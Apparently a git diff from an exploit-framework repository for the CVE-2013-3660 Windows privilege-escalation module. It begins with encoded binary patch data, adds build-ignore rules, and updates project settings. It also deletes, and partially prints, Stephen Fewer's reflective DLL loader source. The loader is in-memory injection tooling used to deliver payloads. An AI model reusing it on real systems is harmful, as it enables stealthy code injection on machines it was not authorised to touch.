z*#)SO5KS;}$39)R33T+}CdM{b@i!rj=pf^=0F6#gdadwj1cx6pl;T%C!6N~YUQR;! z`F?Iu;ml@2lQRi{)`%Zi04ArJwvbRI2&0>KC>8;)1S2jx2`xWEQf%L{+;!DU}D6Jy6@

r1}3ispYSP1QVznfidu8 z)Wu-G70C|p(Mu2{x&`ob?wAYig5sR^c>sf~5st#$POAdEt^KaCrk-OVyfk8xz#sjF z5#GD>kieimy9hq;VSy0Mta@rdfj+umJOn`nW|1#l3wPYdy*QF`Ls@SJJYEDaKIH>> zXK`s?4tLCRJ0STBzo!41CU-!ax(gba0Q2TC!O8Bj17p#NN+ih5lC z_vHT>2!5VQCZ<*WWj40cAoOn!$L-|B;FhuD|GVI~6cHYff?j=aZ5(-O`sG zCoiMhcXf4n%5`fdPBA86x%ncWumQXnYqlhqP*Pv@srQDy2F)))p$m;71v60=Bnk1* zL?TeM*3-#9@D2q=uoWr?aZCvlisI+eVW@@b_MCZ#0I9D_qppe67tJGS@hM&h<#SiX z+my(SiW3KmJq})ToeQOoLT5~RD*WbBS%2>>>z3gYD{3wzsthRc3&eP35p~Dfsf~n+i%|-kHE~nUmGc!Ag%MkzOoZ zW~y9b8rXxW{acRKtcm7cmv>TLWD4cW zV56uQDQ%XmhkttT0QJA|Pq9+qB1by0jsH3AX>K4O#{Z4@%i0f%L4QYMbZVaP; zYl6QE;Bn_B{Lz$7XoAHv1|pls;E-OF9Ixhp>rdm=%%oBxp`y7?{`S7v!XG0M8*@o7 zHjm>x-15wMx%NIW;q?060N^0>04z934~#!jLtHO1oxTX%zs{F7`0X8=bsAE&Yx!iP z>VKi8+r+=dwNCC782}{PKfZiwF%($d>~<+K2ujMtkoQ- zu-EFHP>;D_!G2m_@dg2Z(&;VW`4|aOg~xki?H~*M3q*1?^*RYTIzi|Be9{3m455x) z{Ur6H>!5`kbAU;WWABn9xK+&?;~W#odD_!Sjf0{j2A0=7!iR*{?_G#7Yc)9Ar4sDb zm{SCXDnxJry65N;YL&pJL6Igff37s#+y zp*{dpm`k&M{KX7AxXDE8xS*}C7%7TTOe7+B%tTWM&DOAeu!*75a*7G+lh^f^17UzcLO3o>BO&5Y@Hep+|AcEu4e-hDVXdie2?&-Cj3I@|D9E zopu4D6>pRX5O*%88@xaaM)jDg*);EfJ%-~<<6l0`XG_I+kzpLGr8nXY7Wzh3q5&71 zSmyGe9H|^_1vt0s+~~G_*2OSb7(CB&W__6VM>O-X$=1e686$RfX>2P}XX|!x#OYZl z`y?tLZOdM_J~qFqJUL~5~p7EK!f*U#_~H~g@meP65Y*AwNG{3;~e&7;e}EK@J&eFY^5YjZWod6 z!vw!Vx$_%^n;B=+>BI^O$}1xU@XnfzbOS65r?nMCaJ4Nrs<8iZMR`Ai3wc5z0YdTQ zo27;u@Xc8CwIt!)IL*tPK`c^05C&d%ZW*O|0MaeAVg09C?@d>NaBP3qH%aAiFXCx7 z7NJ#yzQ5ip5EzfgR0tfzpJQ9FV0V*DEZa?@@t|~Y*7i+lI^~FSEOV2li}nlz=bf@f zzOKk7PR#c$g@BG!LTIXGN3_f^L^VBSo7D}{Z_L0<)b|fI=HS7qH|*;p`m9Dh?;!}( z+=Oe1BP_Cnpy_ z-eui;K`agQi3Bdp4m7sS%Y&9S<;!~W=dHcNRDD3nCo22VvgX>Dn$ZqD-!u8<;`3tv z+=RSyGFa7rC&wxr_ZLQY_NeR%QvL#ose~Wvs`sq6{+-Wrgh`*olKWzlwv+ktqzny^ zO_Y?ZA~H&KTOF^E3GM2d5EyNls7BoJrX%`k`49v5|Y%- ziosy}pd$uEyEEihJ8E@%;YLS}WP6+J}=M3Ht4mC4N|gB5gGo|D&iw#tOggF~^q zqODzgfN6;-#%`mW;o-;0L!=to<`sSk?0B0Tb{EASOj2zzqQ=fmuLRZb2_w;hFWd=I zI+tsA5&6z!Lggk$jVD`d?>PL8Vfsz320eJt6Z{)DK7!xCTUZYpQ%=@iM+_S(V6XG` z2}1&tUk$NZDk*gqiaDDTypM<6qqmLJY!H!nl{x(uDu0)+vV4eO7T^G#k*wvian)rR zAJ^K8V8R;c;shBj(97x|zwF-4M~J|oiG;|WmqWg)sPD*Ye78oAD=z#@Tx9F(_Hd$Z z+o68Fdll0KJk?D2C)TO0;H7=*$jc_uqiMwsM2kiey#H97llj2#?U+qKX0^T1>F>X! zb6|KDb}@M<-#vOD;Fuz1`b2R2jon``2cGjPU|`M7x4tM+UsErKbX+PoN#x8ZG>_7` zlsRb2WrOC|q|P2!1WGAt_K1BNV~~RJ95eCyprMn@LaF!lyT~{bnI~i1;O>Sy1de%1 zKtM*eVqX-8xTmZo9zuW|vC&;RBqwkgGlg5%-~T=@f{xQA5z$uo^0*n}!v8A7!QWyO zg={W+cm&%jRU--xcDz}m7;?qqmtSzA5u1aDur^Y(tX5zXLOzNPdXndg7C)gV#+?X| z6vrDEQD)z}{n_K98p)gpWNw7vZ4@Hz3RrKH<~JdG!Mrb*7WQ&zSi5#$y3rI7`gMNw zi!;C%V=fMs_Lr?@>n%}e2ND0PWqSOLN2pRowpNxVB7i1wD^BB2z04TC3@l6^24GOR zFK#NZmW0ggwo-ZECA-w*-XXsY^}gquZDldy$f#m5K(q3<(hchJFQ$6gWAmo+PuXUN z-^EPklz3>-VwNYVOSG61IMnZ{h^x5dC0*A*?=N9GnYV}n&bUMLcz3R(u)YRk(!&in zjd1znz^yb@w1nBblA73y9)v2z?f1}umCy?`a47f4uk*w~>^xM0i@3BwzxBQ}{qdN@ z{PLddp@enbq>#cFU{Z6!slXU^#5ngDB36G%GinBwAs{y(w#ibA_X_;gv zw#%gc`rzLI2jx0A5srN)oG+5@E+KTT z$Ss08MMqtqm8cY+fTbW(#CxqEvq;f2qCZZefV0y8%_ zTf&Yb#aulExbYlTF~Msp+rkn*$lbPpqJkM?SundHe6-&ex^*xMvJMdYYuwIZ=7b2MPgKgMH2tVKs-4f4vnbm7dKH#X}Rb=%@6 z)-V=vB^(JhEv7no>2{z z$fr6BYa}M2gFaVSViZX;{1>1HM~A3mySN=OF84HD&77>a=Qm@?KV`n=U-wrd>$TL`mMeJFZ%t>^pcOJsy zGRaj-)f(v!n@q>%I^v{NVJC#j3#9%l`GJHDq)Bcp(W@*T%xc-|(nJ0x$S~W#olG+K zTNS~eWDg(17}HH-+XHilL+1(gjSz)?rX(($nz8se?pj2$=VsN(f4HnR; z?zp2cvev84+C6e5QD#rP5%$-s5TMa)hZKAu+HB#bPCgx1$=Y7u%MhqjU^!(LneywC z?ct_Eq`)oIVBpma=(G@tXaBVBmQr6=KxnOIY--0x%X}b%*3_3qJY=7*)Zk@6F!}gU z3!Ai;aw^S~j)C^-e#&xf1}bqT=kgAsiGTBhcc}5w-{&c@X5mc-(tE^djroE{@#yUG z3mUa2MP6=wgnWefD}79gjhkvga?fU~L0D%96;J0SJGC$qBRJ-FyR$;9^2^`$-!Ykd zdJd7=B_S-7U&+US_R+%Nv=ozVAv=_hKlxK}%1UbG>69Y~gcENgsQ$U^eC7M7h@qO< z*PorUum2oc>7?1^@|bq}OrKcJB~6dGQ5pTl7MC%T?UC}{RmW{ev*)H9isj&&9FW&E zRjnLz=c84t)W09E8E0QC%9kokBuoW=I=9krmIfit|J7ppG*X45;VZ5Dcf^=K7o|qn zfGmGiFVy?XjQZ8TK2a~^2jZvq)UV5w!z78@zmG~qv;RH;KNf0I;R)1J9rmeepMb&=1VN_C&}n!d70p07>I&t z>NuB%@>e$*Wa*uZGhNsD$te;kB`bYx&ayC~L9pzq#YwKF*}h7+)Li5J%uH1NwcVqV zIN1=p%~9yZiCQy7F5bkgvvSm%K4_K7IIZCcYN_a`Pnqy^cG{#26y1Si_ijs-Sifpcj>_Mw{i;ss$7ePqeXPzv23NBF@~Brmavo2?R3v0Z8&Ao5 zhv>H7!h$NfJD2H>eLB%scTqh>01frDXX6zeB(FzFZq)-;R{@iwfcQ(jW;qDv{RYh= zR3R!jzqEPA>*sexWe8U+p4&U_$OgO~o-xm^EE`O9i{nb15yLet?UyROt}~J~G9T5U zo0{|!^8=|I-%E3!qSps5z(u+a4yHxFOdC{bWm0|68ownYbXOfD04ba z_VF~`#v^Hs!9khLuChLj`&hknTj<*z?3N3l4(x;BWg=}wi^&sDUx@@PKuN(?Re2G!Jk(-jPQn9+D6@KXd(GS z>vAY~b^HecsAI;_9|;Hv6;hte=kT&2c)5~!lQ<#98vHWRX?^wg%D_e$GJ=2qKAx+j zCdm%S2~k9c%SVIJJpxXkXrO$0K%aEaM)P)y94EWg2Hcki1%=M>!g%%NBKk}d8M&h* zk-=JGYfcm9BYh{y^b9hDWbUU5h@XLgWQWA%(vq6=kH2Ug4W1Mh7!qsGo?_f0NtNe| zPDm3vV|0FD`y%BwQ7G$*17DEPQWJ^G2lyNBBxi--4=I`=ef;jfU$CVL3eY0>LldMH zicbBOatanzM~qk=R8-Uxy^ReKLP8ok$e>B^W?%QzlSni`VXh^9xn@=?>3|$omQx$} zFXf&tAW|ksDg;qSI|E=;UN@V=2D&DMq-P|H)uz&#c8V7 zPA{~yy6NU$M*flyalV>Eo3C^y$dAG*U3c?gJ&f@7g2sdl%4(9onVZ*T`wCf5 zC~wV-JYJxjc{Xcb#^VgVnOfZJ+$D0URgQ9kOR}i2`ttREh)A5&LBF$z;OHC)-`>AE4b@RwMDRNarVSHYxDmn{xuiO9haMriolqSX^@ySiJFw5#}e`Ldz_l6pbBMfT6Ssid?D6%t( z4%ZB@(7K31mpI1y4S5)^9Y?ob?T{=}PE2ZB*lH;Hy8Kcn?NR1XO}-Fw;t#Fzp2cu?rC;L_Sn40M!@Y75dc@ayJ* zvB%&N&MY9Ad58dWz#~ikiV|Y0d!^l5siOi-^0AO~xTtRGj_*zZdr zJP!t^>5824XnKn>f%XMD7I-qy?feD{EQtXA1QehpwOzPF%K(hIZrH*@V{mB30mnJh z^Wf2?)-=m~@xx$dlQ=SX{05hW!LLn1Fam&}0eOgKxbUuN#LB70#e+>1$GycZql~^`Y6t`Hr4#Ib!JpcWiSNP+hD0;C+qtWF!#xknR2ryfoh;8-+Db+cSgZDSo1{osD zK8q9bWH0fz0+LfC*on81JU>DQe75`N7VNqYPNQ>jh zsgES8Z=bjuSv&`Mg30I8hPYR{&f2 z;%-)As4U_G0yc)M-)eHsf!jYH+V&ycsZ8`}h=0c^0E2a=hX(QVtMhCNW$g}h{1P`+ ztC-lR&-}(!*%7(ifjsa!cU414L=xGB)`x#^V-_w7p%;m0!!QIC{RXUyG z+UsoKkc_aB#?~X~`rom7A{0(~TuVhQ(#$&@>@tlEwv@#_dqAym>%3X-qG|1daPL8h z)o0<7LMQu;d4Sk8@6k_LqXsJ^(UTI1SMw|7*vpNF9UQlfG4x6fAau6}y^co;R`pmX z(LX}m_N|BD>xiROXh$e-jY7fmXE!MgQrSARgWeFd!V=AY0cf>{ma*}PRy5%4-T$rY zZ*GxcY{if4J+y*YQ{KN~Z#LZp6dSoN{6*BqqaLO|C67EmU3qb#`RZ82`oeo~oZPp{ zDzZe6{Z~wF@-=-w3r~CPlWZH|C1=Ks`i+>qV`$swciETU2%10?1Xn?cU>V^GTwcI8 zFd6=()TvdBKQq1^mQ@+63Se7(D0jJiUfk}p+$@{COAa4j8f4(Vac@8n_m=Z%Z@o-z z8LC@bv>L>7YUOM8oM53V1WoBWG~AM9zls@i?YHca>rgE+#y++?PRYLwzY$Ky@bsp4 zOrFd0G!~Iu;Id7lFP(?F@>|T6*{VQo4cC#1VhMM0pnYFOn&x_CJwK;{P=o=4$I;>1b#0 zKfuhsAM@9_p1ji^vzQ-1^M~>CzXC%4Yp!HsU@T`s@8sr`6eIT^C^O_H7!dkG-dIbO zU8uexBE+Bs7GvqMEIT$5FN^bWBiBqlpTU@7knJuI9fErPNN`Brwi_%i^XFA|RWpJr zL|I22OJvZ~l&AK)m&`b5AJ;zRSXn-(-;gM=keGuTa>tnS)uv5@J~{*dq>x8Q*^I`1 zs%r-1DJdr293)>9TR`soF?&Y-q*hRyLCbYNA0QUFHlx;c^ygITVpr3Lfik4&E!3#W zu1U*4Jz@g~Xr|Ig(g3Z~VZ3YTz$5Bo>KOQAhDu3#6_K|CJG?O%IjvbbNs0UAVf}0u zO~>AO`5gAYf9IP&=;K0VJ)GfBu!4TjU*`XR0sDVJ%k+*`HdXN*@&k-$At&PFJQ@a6 z7WiCc%JKfh>R3RkQDBbioJn#2Xn4wErE?nHFbXL1_UuPgF$1urkxWDvrECIL7lDtrh$P3McQEik3(67 zYHMdl{!E^%=&o}KoP|B;4Yu*~Hq%57urby|A|?#ZE-GK$#v0j0!%|jaB+I8kVKRl= zA)8$CD$~yR{PPe0(g-p{o;83|oMLuh8jIX0l6R&a6^{#7WM!XuC;oID`=BB6?9a_r zEc@{PwLNdPPj1_z^J0-$q_9s!m}pko&4QIXZ>cSP=b93xFPE2Lxhb?zKdUSFkcZmI zb$2>Lo0(q4{AWz>{>{oe{i@x$^JR(e3TOR$?R7Y*kl}-QouhAL-Xi-Qr6vClT`&DJ z=fiFG%<{EzX`U{wCl}fm`hAYAIa<8PO6b2*FMr&I(=Toz#n@xuT)#w6wDWQn2H+|r z1_o2oW2`K>peR4^bw(X@&7N$FiLBU!Ph&|K2{!or#5B&7PBf`NVjAWZm=R?d+(ZWnV=OI%tOUt?8E+ zowF-)_dEIQC^d`aidwyiVhdQKn`Bu|9XtB+>jgQD{n@iF=1H#ImbLZmvRg%4*4@hA zYQ5@qX6D~I=kn;X-`QzqVoE1%jtPD(+xeGuo?PpfVhvy0XqCxvftKw@re<_(=09JZ z^Tm3uoAG6bHCrd2ZcsB;JZvGI+jet7%f#xlU$Vd6Srlhzxl>4~Ad=zeia6P*rt>#! zrkWhwdRkR$)7sLU8OuJ~o2|a8cS*%dc($jD_LIvFmEY@>noNwHAGVjj*PdsjF3)vX z(chu%f$=Pdqc!s#UE@-A+-csrU{ckKJSNU#>ja)za6S1M&H3Qit|^_r{68*%?{<`yQJ<}SnMi)r>B1`eDbBIl2)9V2FHFKwBVcKvMj)Frb*g8i>Et; zH;6s3ec*JqXq`y^jgU)gY_5HJEuqXB$9Uqu(<-rPTzR+32Vi_J5#D>-idUba$JFw9N;%mT#jsHL0R$5j+>GSo^sc(9JFogYnc-!Hzt8~QXeAAD=XCK*i ztxqrTn$Uyo`W}DE+AEC1m)zK8vAI_}oaJcv-~AWjvivMq>(xK}&v{;{sHMj`TSZJu z|JeEM?SDjP9|+q&>&eo(DXT@i#kH7^b}Ky+lv%prfpv=6}5cvE4Se7yL0bei2a_u^m58= zjhE~n{94R6dC$^eJN5D7^G7~)>+W3b+q)^i>vL7wf39%li5D-|<^R-XOZDgBF1syy zn3YXiiJRwvl1fkVpB?UD8~2;1{7u_`Kku8#*6ZfETTQP z%Wo2T{%ESj^&>mDSAOC6%M3!HucwXybErP!n} zF(`I0F<3IF05yVu0+__vLhuOI4KOe;1s;x!RNcW>Qt1_>q;WxwU}TVBP^g{o+{5}L zql4(WcOZHKZw8nTaSE<=S}>;o3v!0ZKnG&C3$|(t**=5dEx+u6_890)$_3fSu&=P_ ztlmlB$Q#1zm}|Qr_A!FpeV(9wD6Y{D12HLp6Ee7m@0Pg?(=q|tW`3Jw1mQ zD-lg%WXlCM^ZWr>4xRU*51Ej%(;*68Nxu9_0aNOu2$QcuoGLf8ttGq&v`pQn6 t&Oo*(fWiF@ID2QOad`tR3dmUj&h`P`tZbm-iwg)Ju`n>K0~*J`008Ve&Uyd< diff --git a/external/source/exploits/cve-2013-3660/.gitignore b/external/source/exploits/cve-2013-3660/.gitignore new file mode 100644 index 0000000000..c93d5cfc27 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/.gitignore @@ -0,0 +1,152 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store + diff --git a/external/source/exploits/cve-2013-3660/LICENSE.txt b/external/source/exploits/cve-2013-3660/LICENSE.txt deleted file mode 100755 index f217025f51..0000000000 --- a/external/source/exploits/cve-2013-3660/LICENSE.txt +++ /dev/null @@ -1,25 +0,0 @@ -Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted -provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of -conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, this list of -conditions and the following disclaimer in the documentation and/or other materials provided -with the distribution. - - * Neither the name of Harmony Security nor the names of its contributors may be used to -endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj index ed6cacb681..6c18fe1d92 100755 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -34,35 +34,35 @@ DynamicLibrary - v100 + v120 MultiByte true DynamicLibrary - v110 + v120 MultiByte true DynamicLibrary - v110 + v120 Unicode DynamicLibrary - v110 + v120 Unicode DynamicLibrary - v110 + v120 MultiByte false DynamicLibrary - v110 + v120 Unicode @@ -108,6 +108,8 @@ $(Configuration)\ false exploit + $(VCInstallDir)atlmfc\src\mfc;$(VCInstallDir)atlmfc\src\mfcm;$(VCInstallDir)atlmfc\src\atl;$(VCInstallDir)crt\src;..\..\..\ReflectiveDLLInjection\dll\src\; + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\dll\src\; false @@ -116,6 +118,8 @@ $(SolutionDir)$(Platform)\$(Configuration)\ $(Platform)\$(Configuration)\ false + $(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\dll\src\; + $(VCInstallDir)atlmfc\src\mfc;$(VCInstallDir)atlmfc\src\mfcm;$(VCInstallDir)atlmfc\src\atl;$(VCInstallDir)crt\src;..\..\..\ReflectiveDLLInjection\dll\src\; @@ -252,13 +256,13 @@ + - + + - - diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h deleted file mode 100755 index 5738497f5b..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h +++ /dev/null @@ -1,51 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); -typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c deleted file mode 100755 index 594c0b8066..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c +++ /dev/null @@ -1,496 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -//===============================================================================================// -#pragma intrinsic( _ReturnAddress ) -// This function can not be inlined by the compiler or we will not get the address we expect. Ideally -// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of -// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics -// available (and no inline asm available under x64). -__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } -//===============================================================================================// - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) -#else -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; - - USHORT usCounter; - - // the initial location of this image in memory - ULONG_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - ULONG_PTR uiBaseAddress; - - // variables for processing the kernels export table - ULONG_PTR uiAddressArray; - ULONG_PTR uiNameArray; - ULONG_PTR uiExportDir; - ULONG_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - ULONG_PTR uiHeaderValue; - ULONG_PTR uiValueA; - ULONG_PTR uiValueB; - ULONG_PTR uiValueC; - ULONG_PTR uiValueD; - ULONG_PTR uiValueE; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our callers return address. - uiLibraryAddress = caller(); - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while( TRUE ) - { - if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef WIN_X64 - uiBaseAddress = __readgsqword( 0x60 ); -#else -#ifdef WIN_X86 - uiBaseAddress = __readfsdword( 0x30 ); -#else WIN_ARM - uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); -#endif -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while( uiValueA ) - { - // get pointer to 